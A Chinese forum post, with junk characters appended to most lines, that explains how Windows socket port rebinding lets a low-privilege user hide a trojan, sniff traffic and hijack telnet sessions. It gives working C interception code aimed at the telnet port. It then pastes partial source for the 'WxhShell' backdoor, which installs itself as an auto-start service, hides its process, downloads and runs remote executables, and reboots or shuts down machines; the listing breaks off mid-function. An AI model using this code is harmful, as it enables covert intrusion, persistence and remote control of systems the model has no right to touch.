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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f[?JLp   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aJ[|80U  
r-a0XNS*  
  saddr.sin_family = AF_INET; }(K1=cEaL  
4h T!DS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); { PS0.UZ  
9)uJ\NMy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2"WP>>b80  
:es=T`("A8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lBudC  
vi` VK&+r  
  这意味着什么?意味着可以进行如下的攻击: *a-KQw  
 m=a^t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WwUHHm<v  
q9c-UQB(!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EXR6Vb,  
WT}x Cni  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MjbgAH-  
7Rn 4gT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U|8?$/*\  
Yy,XKIqU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cH707?p/I  
"`h.8=-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5Ha(i [d  
qKE+,g'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bmh@SB  
<4CqG4}Y  
  #include @.,'A[D!K  
  #include V6B[eV$D  
  #include Q]OR0-6<.  
  #include    |hX\ep   
  DWORD WINAPI ClientThread(LPVOID lpParam);   .pH 4[~  
  int main() u/xP$  
  { 9%riB/vkrF  
  WORD wVersionRequested; HcrlcxwM\i  
  DWORD ret; .N7&Jy  
  WSADATA wsaData; \\{78WDA  
  BOOL val; [}4\CWM  
  SOCKADDR_IN saddr; rS+ >oP}  
  SOCKADDR_IN scaddr; iF_u/#  
  int err; v~0lZe  
  SOCKET s; =E:sEw2j  
  SOCKET sc; _>^Y0C[?5  
  int caddsize; F4:5 >*:  
  HANDLE mt; ReGT*+UN  
  DWORD tid;   }4Q3S1|U  
  wVersionRequested = MAKEWORD( 2, 2 ); HUbXJsSP  
  err = WSAStartup( wVersionRequested, &wsaData ); G0Z$p6z  
  if ( err != 0 ) { G]dHYxG  
  printf("error!WSAStartup failed!\n"); F*Ul#yX  
  return -1; ^ '_Fd  
  } Hi U/fi`  
  saddr.sin_family = AF_INET; .~a8\6t  
   ?.ofs}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n.,ZgLx["  
B)dd6R>8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c~d*SDca  
  saddr.sin_port = htons(23); wkp$/IZKMj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qj^A   
  { }ee3'LUPX  
  printf("error!socket failed!\n"); z_). -  
  return -1; Z*(OcQ-  
  } mn(MgJKQ\  
  val = TRUE; Vkqfs4t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2 ]r5e;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y"dTm;&  
  { i6i;{\tc  
  printf("error!setsockopt failed!\n"); |r4&@)  
  return -1; y }h2  
  } :]* =f].  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lg@q} ]1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FH;)5GGnv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5yp  
rWBgYh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !m9g\8tE  
  { avqJ[R  
  ret=GetLastError(); o/!a7>xO4  
  printf("error!bind failed!\n"); .o8pC  
  return -1; =g=Vv"B_  
  } 5=!aq\ 5  
  listen(s,2); {Hw$`wL  
  while(1) b+BX >$  
  { @!(V0-  
  caddsize = sizeof(scaddr); By<~h/uJ  
  //接受连接请求 l_2YPon  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hiaTJE|J?  
  if(sc!=INVALID_SOCKET) S7CD#Y[s  
  { aQ)g7C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uJ,I6P~9  
  if(mt==NULL) 11JO[  
  { {7=k/Y*U  
  printf("Thread Creat Failed!\n"); mPi{:  
  break; XP65  
  } ?=?9a  
  } o5NrDDH  
  CloseHandle(mt); !i=k=l=  
  } o4&#,m+ :  
  closesocket(s); [_p&,$z8[  
  WSACleanup(); P"c7h7  
  return 0; r}t%DH  
  }   qV@Hu/;  
  DWORD WINAPI ClientThread(LPVOID lpParam) !|#1z}(  
  { `ln= D$  
  SOCKET ss = (SOCKET)lpParam; muo(bR8  
  SOCKET sc; 1]aM)},  
  unsigned char buf[4096]; q-eC=!#}  
  SOCKADDR_IN saddr; PQ<""_S||  
  long num; $)vljM<<  
  DWORD val; Kjc"K36{L  
  DWORD ret; o"R[#E&Yx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gpVZZ:~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _)O1v%]"4  
  saddr.sin_family = AF_INET; m ,,-rC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v#@"Evh7  
  saddr.sin_port = htons(23); (Ybc~M)z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) thDQ44<#)  
  { nZ>qM]">u  
  printf("error!socket failed!\n"); %RG kXOgp  
  return -1; '}e_8 FS  
  } c^><^LGb  
  val = 100; W~aVwO'(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'U.)f@L#w  
  { v{$X2z_$w  
  ret = GetLastError(); /@X!  
  return -1; UX;?~X  
  }  #8MA+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )."_i64  
  { V$VqYy9 *  
  ret = GetLastError(); #wK {G)J  
  return -1; jB!p,fqcb  
  } >0DQ<@ot:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~m8".Z"  
  { >8D!K0?E  
  printf("error!socket connect failed!\n"); F{0Z  
  closesocket(sc); %i{Z@  
  closesocket(ss); ExeD3Zj  
  return -1; 7n9&@D3 :P  
  } dIg/g~ t"  
  while(1) kfr' P u  
  { r@ujE,D=k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  QMLz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "XfCLc1 T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "s]r"(MX  
  num = recv(ss,buf,4096,0); 1K?RA*aj  
  if(num>0) [Gop-Vi/~  
  send(sc,buf,num,0); S[J eW  
  else if(num==0) z`$jxSLm  
  break; I{tY;b'w  
  num = recv(sc,buf,4096,0); E-IVv  
  if(num>0) fqrQ1{%UH  
  send(ss,buf,num,0); "BT*9N=|  
  else if(num==0) u^|c_5J(  
  break; 7'Z-VO  
  } 6D|[3rXr  
  closesocket(ss); 94VtGg=b}  
  closesocket(sc); Su?e\7aj  
  return 0 ; dp#JvZb  
  } (VD Y]Q)  
B|pO2d e  
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========================================================== [ )3rc}:1  
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下边附上一个代码,,WXhSHELL zU7co.G  
kvcDa+#  
========================================================== Ak3cE_*Y/  
|j$r@  
#include "stdafx.h" GT.1,E ,Vw  
-Zq\x'  
#include <stdio.h> ' ` _TFTO  
#include <string.h> bGw56s'R5~  
#include <windows.h> ?m5E Xe  
#include <winsock2.h> WQ 2{`'z  
#include <winsvc.h> qEuO@oE  
#include <urlmon.h> (8aj`> y  
r<vy6  
#pragma comment (lib, "Ws2_32.lib") gyD;kn\CP  
#pragma comment (lib, "urlmon.lib") 5@%.wb4  
y+T[="W  
#define MAX_USER   100 // 最大客户端连接数 8q%y(e  
#define BUF_SOCK   200 // sock buffer I ^m  
#define KEY_BUFF   255 // 输入 buffer l 9 wO x  
y] c1x=x  
#define REBOOT     0   // 重启 ^P^%Q)QXl  
#define SHUTDOWN   1   // 关机 %s"& |32  
:IU7dpwDl  
#define DEF_PORT   5000 // 监听端口 $:%E<j 4Dn  
j{ YYG|  
#define REG_LEN     16   // 注册表键长度 A$r$g\5+  
#define SVC_LEN     80   // NT服务名长度 k'PvTWR  
71\53Qr#U  
// 从dll定义API tnaFbmp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ghWWJx9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @`dg:P*[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3PGAUQR#"q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p d#Sn+&rf  
1Vdi5;dn  
// wxhshell配置信息 / n_s"[I4  
struct WSCFG { + x=)Kp>  
  int ws_port;         // 监听端口 ] re=8s6  
  char ws_passstr[REG_LEN]; // 口令 S@qR~_>a  
  int ws_autoins;       // 安装标记, 1=yes 0=no UPU$SZAIx  
  char ws_regname[REG_LEN]; // 注册表键名 ?' .AeoE-  
  char ws_svcname[REG_LEN]; // 服务名 Cl`i|cF\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X0u,QSt' O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 29,ET}~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NDP" @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3y6\0|{1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (_zlCHB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }a||@unr  
WA8<:#{e  
}; o]4\Geg$  
X n$ZA-  
// default Wxhshell configuration g w([08  
struct WSCFG wscfg={DEF_PORT, s:}? rSI  
    "xuhuanlingzhe", Sy|GM~  
    1, Mg.%&vH\  
    "Wxhshell", \4q|Qno8  
    "Wxhshell", )Xjn:  
            "WxhShell Service", _ \6v@  
    "Wrsky Windows CmdShell Service", HCs^?s8Pp  
    "Please Input Your Password: ", CpO_p%P  
  1, Lj3o-@\*j  
  "http://www.wrsky.com/wxhshell.exe",  /ooGyF  
  "Wxhshell.exe" &2y4k"B&)  
    }; zHb [.ry~  
i]%f94  
// 消息定义模块 d fj23+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /RxP:>hVv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 25)9R^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Or5?Gt  
char *msg_ws_ext="\n\rExit."; m!/TJhiQ  
char *msg_ws_end="\n\rQuit."; ^m w]u"5\  
char *msg_ws_boot="\n\rReboot..."; dtC@cK/,D  
char *msg_ws_poff="\n\rShutdown..."; [yXmnrxA  
char *msg_ws_down="\n\rSave to "; tk%f_"}  
'RMUjJ-!  
char *msg_ws_err="\n\rErr!"; `N *:,8j  
char *msg_ws_ok="\n\rOK!"; Y[6T7eZ0g  
}`B .(3n  
char ExeFile[MAX_PATH]; I9S;t _Z<  
int nUser = 0; w(Z?j%b  
HANDLE handles[MAX_USER]; HY)xT$/J  
int OsIsNt; i)o;,~ee  
ST*h{:u&A  
SERVICE_STATUS       serviceStatus; W%!(kN&d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4!/JN J  
R |c=I }@F  
// 函数声明 5?k5J\+  
int Install(void); m^D'p  
int Uninstall(void); ;5j|B|v  
int DownloadFile(char *sURL, SOCKET wsh); '47 b"uV  
int Boot(int flag); >!=@TK(~  
void HideProc(void); egaX[ j r  
int GetOsVer(void); #d-({blo<  
int Wxhshell(SOCKET wsl); qVn<c,8#  
void TalkWithClient(void *cs); /t0L%jJZ  
int CmdShell(SOCKET sock); G(&[1V%x  
int StartFromService(void); !=dz^f.{  
int StartWxhshell(LPSTR lpCmdLine); rOSov"7  
 =_dM@j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E]@&<TFq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ei4^__g\'  
XN df  
// 数据结构和表定义 E\[BE<y  
SERVICE_TABLE_ENTRY DispatchTable[] = *G58t`]r  
{ z#tIa  
{wscfg.ws_svcname, NTServiceMain}, 24jf`1XFW  
{NULL, NULL} ;kgP:n  
}; 0JlNUO5Nt  
Q|(}rIWOQA  
// 自我安装 Z.\q$U7'9  
int Install(void) yfG;OnkZ  
{ -zg*p&F  
  char svExeFile[MAX_PATH]; Rt8[P6e"q  
  HKEY key; PIri|ZS  
  strcpy(svExeFile,ExeFile); UQl?_ [G  
Q0xO;20  
// 如果是win9x系统,修改注册表设为自启动 C]ss'  
if(!OsIsNt) { yYCS-rF>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l~r;G rd/5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tv``\<   
  RegCloseKey(key); sVFO&|L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P6gkbtg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]rG=\>U3~  
  RegCloseKey(key); S2$E`' J  
  return 0; ]v ${k  
    } g NI1W@)  
  } ]es|%j 2  
} 'LYDJ~  
else { J n.7W5v  
1w>[&#7  
// 如果是NT以上系统,安装为系统服务 iuV4xyp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SyL"Bmi  
if (schSCManager!=0) tiK M+ ;C  
{ xQFRM aQE  
  SC_HANDLE schService = CreateService b^W&-Hh  
  ( K?l|1jez(#  
  schSCManager, P y'BMk  
  wscfg.ws_svcname, $[T ~<I  
  wscfg.ws_svcdisp, |O8e;v72g^  
  SERVICE_ALL_ACCESS, v^C\ GDH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7?fgcb3  
  SERVICE_AUTO_START, 0F$|`v"0  
  SERVICE_ERROR_NORMAL, [MeivrJ+  
  svExeFile, !@z9n\Yj  
  NULL, oiyvKMHz7  
  NULL, +Nn >*sz  
  NULL, A[P7hMn  
  NULL, |gk*{3~y  
  NULL ]TrJ*~  
  ); :V9Q<B^  
  if (schService!=0) r9f- C  
  { nDkG}Jk B!  
  CloseServiceHandle(schService); r`"_D%kc  
  CloseServiceHandle(schSCManager); oIrc))j,$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R&uPoY,f  
  strcat(svExeFile,wscfg.ws_svcname); U`*we43  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I]ej ]46K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i3 js'?7E  
  RegCloseKey(key); as:=QMV  
  return 0; tN{0C/B9  
    } Gr({30"8  
  } Kj0)/Fjl+  
  CloseServiceHandle(schSCManager); ` k] TOc  
} S%RxYJ(  
} 3r%v@8)!b  
-n:2US<  
return 1; rT="ciQ  
} thPAD+u.3  
x.gzsd  
// 自我卸载 q`AsnAzo&  
int Uninstall(void) $ (&uaDYv  
{ HtN: v  
  HKEY key; 8h ol4'B  
7:~3B-Tb  
if(!OsIsNt) { T:j41`g%s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Zx| L/\  
  RegDeleteValue(key,wscfg.ws_regname); p&}m')  
  RegCloseKey(key); E.#JCO|(1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K81FKV.  
  RegDeleteValue(key,wscfg.ws_regname); @kd$.7Y9  
  RegCloseKey(key); tdU'cc?M  
  return 0; \1R*M  
  } PR;Bxy  
} jhT/}"v  
} b?k,_; \  
else { .t ^1e  
!le#7Kii  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .yDR2 sW  
if (schSCManager!=0) JNU9RxR  
{ =>*}qen  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  uvDOTRf  
  if (schService!=0) Lpv,6#m`)  
  { gn)>(MG  
  if(DeleteService(schService)!=0) { ;Z!x\{- L  
  CloseServiceHandle(schService); J. $U_k  
  CloseServiceHandle(schSCManager); )SzgMbF6  
  return 0; *_@t$W  
  } 'n/L1Fn  
  CloseServiceHandle(schService); lN~u='Kc  
  } \'.|7{Xu  
  CloseServiceHandle(schSCManager);  RxO !h8  
} #u/5 nm  
} 4_W*LG~2s  
$SfYO!n7Q  
return 1; Ft<B[bQ  
} t{Wu5<F:  
K;lxPM]  
// 从指定url下载文件 Ci$?Hm9n  
int DownloadFile(char *sURL, SOCKET wsh) XCj8QM.o  
{ w=kW~gg  
  HRESULT hr; $ #bWh  
char seps[]= "/"; o2R&s@%0@B  
char *token; }9~U5UXWU  
char *file; f,'^"Me$c  
char myURL[MAX_PATH]; ,b9!\OWDF  
char myFILE[MAX_PATH]; e'T|5I0K  
IiM=Z=2  
strcpy(myURL,sURL); N?v}\P U  
  token=strtok(myURL,seps); q{uv?{I  
  while(token!=NULL) MQMc=Z4d  
  { "R^0eNv$  
    file=token; /3j3'~0  
  token=strtok(NULL,seps); Kb~i9x&  
  } )St`}qu;  
f0"_ {\  
GetCurrentDirectory(MAX_PATH,myFILE); En{< OMg  
strcat(myFILE, "\\"); ` M!'PMX  
strcat(myFILE, file); N) '|l0x0  
  send(wsh,myFILE,strlen(myFILE),0); ( 9(NP_s  
send(wsh,"...",3,0); 85vyt/.,k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (05a 9  
  if(hr==S_OK) qo7jrY5G  
return 0; ]iry'eljy  
else r<!/!}fE,  
return 1; O{Y*a )"  
K>_~|ZN1C8  
} oT i$@q  
B8>3GZi  
// 系统电源模块 n!h952"  
int Boot(int flag) Y2W{?<99  
{ C}]143a/Q  
  HANDLE hToken; tZygTvK/S  
  TOKEN_PRIVILEGES tkp; juB/?'$~  
:czUOZ_  
  if(OsIsNt) { C ett*jm_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]F sr k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R'$1,ie  
    tkp.PrivilegeCount = 1; A'suZpL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >:|jds#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (r/))I9^  
if(flag==REBOOT) { j`QXl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q OV$4[r  
  return 0; t;W'<.m_  
} @5{h+^  
else { T1c& 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qn \=P*j  
  return 0; w_*$w Vl  
} m6o o-muAr  
  } eKe[]/}e9  
  else { 3+8{Y  
if(flag==REBOOT) { qv8B$}FU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) * & : J  
  return 0; }i52MI1-XP  
} 7W=s.Gy7G\  
else { PDb7h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y-_IMu.J`  
  return 0; ;eC8| Xz  
} i([|@Y=  
} xpWY4Q  
@+Anp4%;Y  
return 1; `FByME  
} L DdgI  
}VqCyJu&{  
// win9x进程隐藏模块  ?S'Wd=  
void HideProc(void) jBJ|%K M  
{ %)=c#H1  
k#x"'yZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F+9(*|x%  
  if ( hKernel != NULL ) _FzAf5DO  
  { Z8o8>C\d9/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7w?N-Q$y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r[3 2'E  
    FreeLibrary(hKernel); 5$c*r$t_RK  
  } ap[Q'=A`  
XyD*V;.E  
return; QoS]QY'bZ  
} R?8/qGSVqJ  
M! uE#|  
// 获取操作系统版本 M8|kmF\B  
int GetOsVer(void) 14yzGhA  
{ /;`-[   
  OSVERSIONINFO winfo; yAu .=Eo7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +[Q`I*C  
  GetVersionEx(&winfo); VTn6@z_ x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nh+XlgXG  
  return 1; #yOn /  
  else Q;=3vUN  
  return 0; 8 )= "Ee  
} OGPrjL+  
a t%qowt  
// 客户端句柄模块 @Wd1+Yky  
int Wxhshell(SOCKET wsl) =]P|!$!}0  
{ 9KMtPBZ  
  SOCKET wsh; .}3K9.hkr  
  struct sockaddr_in client; _Q}vPSJviC  
  DWORD myID; nOK1Wc%/'  
`,Y/!(:;  
  while(nUser<MAX_USER) zI'c'X1,  
{ r_3=+  
  int nSize=sizeof(client); jiP^Hz"e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +6f[<^K#  
  if(wsh==INVALID_SOCKET) return 1; )`}4rD^b  
:{~TG]4M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XO}v8nWV  
if(handles[nUser]==0) qoOq47F  
  closesocket(wsh); #A^(1  
else .%_=(C< E  
  nUser++; R^Y _i  
  } >0I\w$L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $%"~.L4  
2UEjn>2  
  return 0; mxl"Y&l2<  
} 2,G9~<t  
en29<#8TO  
// 关闭 socket YT)@&HaF  
void CloseIt(SOCKET wsh) _+. )8   
{ N683!wNX  
closesocket(wsh); wE#z)2?`\  
nUser--; sF p% T4j  
ExitThread(0); hmJa1fw=  
} nH|7XY9"  
2E0$R%\  
// 客户端请求句柄 "SU O2-Gj  
void TalkWithClient(void *cs) P]`m5 N  
{ L*1yK*  
"M=1Eb$6=  
  SOCKET wsh=(SOCKET)cs; M\-[C!h,  
  char pwd[SVC_LEN]; +3J<vM}dy  
  char cmd[KEY_BUFF]; 1wFW&|>1  
char chr[1]; *CPpU|  
int i,j; L_aqr?Q  
7'"qW"<  
  while (nUser < MAX_USER) { P;o  {t  
*5 .wwV  
if(wscfg.ws_passstr) { L""ZI5J{F9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5:jme$BI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v? OUd^  
  //ZeroMemory(pwd,KEY_BUFF); ]A5Y/dd  
      i=0; QkC*om'/!  
  while(i<SVC_LEN) { W=3#oX.GsU  
-gm5E qi  
  // 设置超时 Vjs'|%P7  
  fd_set FdRead; wN58uV '  
  struct timeval TimeOut; #:+F  
  FD_ZERO(&FdRead); R?{xs  
  FD_SET(wsh,&FdRead); ;N?(R\* 8  
  TimeOut.tv_sec=8; !Ve0:$  
  TimeOut.tv_usec=0; r{^43g?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FR[I~unqD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3>^]r jFw  
i@.Tv.NZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,dR.Sac v  
  pwd=chr[0]; \ a,}1FS  
  if(chr[0]==0xd || chr[0]==0xa) { LXh }U>a9  
  pwd=0; \*=wm$p&*  
  break; ]95VM yN  
  } ||>4XDV#  
  i++; Y(bB7tR  
    }  $8rnf  
xYCJO(&  
  // 如果是非法用户,关闭 socket (;;ji!i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~HhB@G!3  
} )xccs'H  
'E9{qPLk(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P*BRebL:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vReX7  
`DF49YP"~  
while(1) { ,AweHUEn  
lUB?eQuN_  
  ZeroMemory(cmd,KEY_BUFF); On}1&!{1]  
>fzyD(>  
      // 自动支持客户端 telnet标准   RW+u5Y  
  j=0; CTW\Dt5  
  while(j<KEY_BUFF) { TDDMx |{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lm~<BBp.  
  cmd[j]=chr[0]; G~8BND[."  
  if(chr[0]==0xa || chr[0]==0xd) { Hz GwO^tbK  
  cmd[j]=0; M,_ $s,  
  break; q+\<%$:u  
  } P?/JyiO }  
  j++; =yZq]g6Q  
    } NOQ^HEi  
,{HQKHg  
  // 下载文件 "H[K3  
  if(strstr(cmd,"http://")) { '~&W'='b;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?-<lIF Fh  
  if(DownloadFile(cmd,wsh)) d,Aa8I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (T#$0RFq  
  else {73V?#P4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O'wmhLa"W  
  } [w'Q9\,p  
  else { (Of6Ij?  
`^SRg_rH=`  
    switch(cmd[0]) { !vAmjjB  
  HK/WO jr  
  // 帮助 "jum*<QZz  
  case '?': { y|ZL< L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9)1Ye  
    break; sh_;98^  
  } T<pG$4_  
  // 安装 9KU&M"Yq&i  
  case 'i': { I;t@wbY,  
    if(Install()) b!@PS$BTxq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =4eJ@EVM  
    else 7x6 M]1F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jx.f DVJ  
    break; mp8GHV  
    } I@KM2 KMN  
  // 卸载 z)^|.  
  case 'r': { ":udoVS!  
    if(Uninstall()) pr#%VM[':R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9-c3@ >v  
    else +Umsr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %i9 e<.Ot  
    break; nv:Qd\UM  
    } }:IIk-JoC  
  // 显示 wxhshell 所在路径 *,$5EN  
  case 'p': { jjV'`Vy)  
    char svExeFile[MAX_PATH]; t`H1]`c?  
    strcpy(svExeFile,"\n\r"); M(I%y0  
      strcat(svExeFile,ExeFile); v@Uk% O/  
        send(wsh,svExeFile,strlen(svExeFile),0); (I}owr5:  
    break; UN.;w3`Oc  
    } GGuU(sL*  
  // 重启 QXZXj#`  
  case 'b': {  1c0' i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l/G +Xj4M  
    if(Boot(REBOOT)) s=n4'`y1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MV"n{1B  
    else { +06{5-,  
    closesocket(wsh); epiviCYC  
    ExitThread(0); _X4Y1zh  
    } .]vb\NBK7  
    break; 2&4nf/sE  
    } 0DicrnH8  
  // 关机 |_TiF ;^  
  case 'd': { r W`7<3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h=A  
    if(Boot(SHUTDOWN)) G+<XYkz*  
